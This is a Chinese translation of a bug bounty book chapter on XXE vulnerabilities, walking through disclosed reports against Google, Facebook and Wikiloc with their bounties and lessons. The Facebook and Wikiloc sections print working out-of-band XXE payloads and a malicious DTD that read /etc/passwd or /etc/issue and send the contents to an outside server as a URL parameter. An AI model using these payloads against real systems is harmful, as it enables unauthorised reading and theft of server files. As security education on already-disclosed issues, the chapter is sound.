作者：Peter Yaworski
译者：飞龙
示例
1. Google 的读取访问
难度：中
URL：google.com/gadgets/directory?synd=toolbar
报告链接：https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers
报告日期：2014.4
奖金：$10000
描述：
了解 XML 以及外部实体之后，这个漏洞实际上就非常直接了。Google 的工具栏按钮允许开发者定义它们自己的按钮，通过上传包含特定元数据的 XML 文件。
但是，根据 Detectify 小组，通过上传带有!ENTITY，指向外部文件的 XML 文件，Google 解析了该文件，并渲染了内容。因此，小组使用了 XXE 漏洞来渲染服务器的/etc/passwd文件。游戏结束。
Google 内部文件的 Detectify 截图
重要结论
大公司甚至都存在漏洞。虽然这个报告是两年之前了，它仍然是一个大公司如何犯错的极好的例子。所需的 XML 可以轻易上传到站点，站点使用了 XML 解析器。但是，有时站点不会产生响应，所以你需要测试来自 OWASP 速查表的其它输入。
2. Facebook 单词 XXE
难度：难
URL：facebook.com/careers
报告链接：http://www.attack-secure.com/blog/hacked-facebook-word-document
报告日期：2014.4
奖金：$6300
描述：
这个 XXE 有一些区别，并且比第一个例子更有挑战，因为它涉及到远程调用服务器，就像我们在描述中讨论的那样。
2013 年末，Facebook 修补了一个 XXE 漏洞，它可能会升级为远程代码执行漏洞，因为/etc/passwd文件的内容是可访问的。奖金约为$30000。
因此，在 Mohamed 于 2014 年 4 月挑战自己来渗透 Facebook 的时候，它不认为 XXE 可能存在，直到他发现它们的职位页面允许用户上传.docx文件，它可以包含 XML。对于那些不知道的人，.docx文件只是个 XML 文件的压缩包。所以，根据 Mohames，它创建了一个.docx文件，并使用 7zip 打开它来提取内容，并将下面的载荷插入了一个 XML 文件中。
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]]>
你会想到，在解析的时候，如果受害者开启了外部实体，XML 解析器会调用远程主机。要注意!ENTITY定义中和下面使用了%。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后，远程服务器会发送回 DTD 文件，像这样：
<!ENTITY send SYSTEM 'http://197.37.102.90/?%26file;'>"
所以，回到文件中的载荷：
- 解析器会将
%dtd;替换为获取远程 DTD 文件的调用。
2， 解析器会将%send;替换为服务器的远程调用，但是%file;会替换为file:///etc/passwd的内容。
所以，Mohamed 使用 Python 和SimpleHTTPServer开启了一台本地服务器，并等待接收：
Facebook 远程调用的攻击截图
在报告之后，Facebook 发送了回复，拒绝了这个报告，并说它们不能重现它，并请求内容的视频验证。在交换一些信息之后，Facebook 提到招聘人员可能打开了文件，它会发送任意请求。Facebook 自傲组做了一些深入的挖掘，并给予了奖金，发送了一个邮件，解释了这个 XXE 的影响比 2013 年初的要小，但是仍然是一个有效的利用，这里是这个信息。
Facebook 官方回复
重要结论
这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接受
.docx、.xlsx、.pptx，以及其它的站点。向我之前提到过的那样，有时候你不会直接从 XXE 收到响应，这个示例展示了如何建立服务器来接受请求，它展示了 XXE。
此外，像我们的例子中那样，有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋非常重要。尊重他们的决策，同时也解释为什么这可能是个漏洞。
3. Wikiloc XXE
难度：高
URL：wikiloc.com
报告链接：http://www.davidsopas.com/wikiloc-xxe-vulnerability
报告日期：2015.10
奖金：Swag
描述：
根据他们的站定，Wikiloc 是个用于发现和分享最佳户外远足、骑车以及许多其他运动记录的地方。有趣的是，他们也让用户通过 XML 文件上传他们自己的记录，这就对例如 David Soaps 之类的骑手非常有吸引力了。
基于他们的 Write Up，David 注册了 Wikiloc，并注意到了 XML 上传点，决定测试它有没有 XXE 漏洞。最开始，它从站点下载了文件来判断 XML 结构，这里是一个.gpx文件，并插入了*<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>;。
之后它调用了.gpx文件中 13 行的记录名称中的实体。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)
这产生了发往服务器的 HTTP GET 请求，GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51。这有两个原因值得注意，首先，通过使用一个概念调用的简单证明，David 能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次，David 使用现存的 XML 文件，以便时它的内容满足站点所预期的结构。虽然它没有讨论这个，调用它的服务器可能并不是必须的，如果它能够服务/etc/passwd文件，并将内容渲染在<name>元素中。
在确认 Wikiloc 会生成外部 HTTP 请求后，唯一的疑问就是，是否它能够读取本地文件。所以，它修改了注入的 XML，来让 Wikiloc 向他发送它们的/etc/passwd文件内容。
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&send;</name>
(...)
这看起来十分熟悉。这里他使用了两个实体，它们都在 DTD 中求值，所以它们使用%定义。&send;在<name>标签中的的引用实际上由返回的xxe.dtd文件定义，他的服务器将其发送回 Wikiloc。这里是这个文件：
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;
要注意%all;实际上定义了!ENTITY send，我们刚刚在<name>标签中注意到它。这里是求值的过程：
- Wikiloc 解析了 XML，并将
%dtd;求值为 David 的服务器的外部调用。 - David 的服务器向 Wikiloc 返回了
xxe.dtd文件。 - Wikiloc 解析了收到的 DTD文件，它触发了
%all;的调用。 - 当
%all;求值时，它定义了&send;，它包含%file;实体的调用。 -
%file;在 URL 值中被替换为/etc/passwd文件的内容。 - Wikiloc 解析了 XML 文件，发现了
&send;实体，它求值为 David 服务器的远程调用，带有/etc/passwd的内容，作为 URL 中的参数。
用他自己的话来说，游戏结束了。
重要结论
像之前提到的那样，这是一个不错的例子，展示了如何使用来自站点的 XML 模板，来组装你自己的 XML 实体，便于让目标合理地解析文件。这里，Wikiloc 期待
.gpx文件，而 David 保留了该结构，在预期标签中插入了他自己的 XML 实体，也就是<name>标签。此外，观察如何处理恶意 DTD 文件很有意思，并且可以用于随后让目标向你的 服务器发送 GET 请求，带有文件内容作为 URL 参数。
总结
XXE 表示一类有巨大潜力的有趣的攻击向量。有几种方式来完成，就像我们之前看到的那样，它能够让漏洞应用打印自己的/etc/passwd文件，以/etc/passwd文件来调用远程服务器，以及请求远程 DTD 文件，它让解析器来使用/etc/passwd文件调用服务器。
作为一个黑客，要留意文件上传，特别是那些接受一些 XML 类型的上传，应该始终测试它们是否存在 XXE 漏洞。
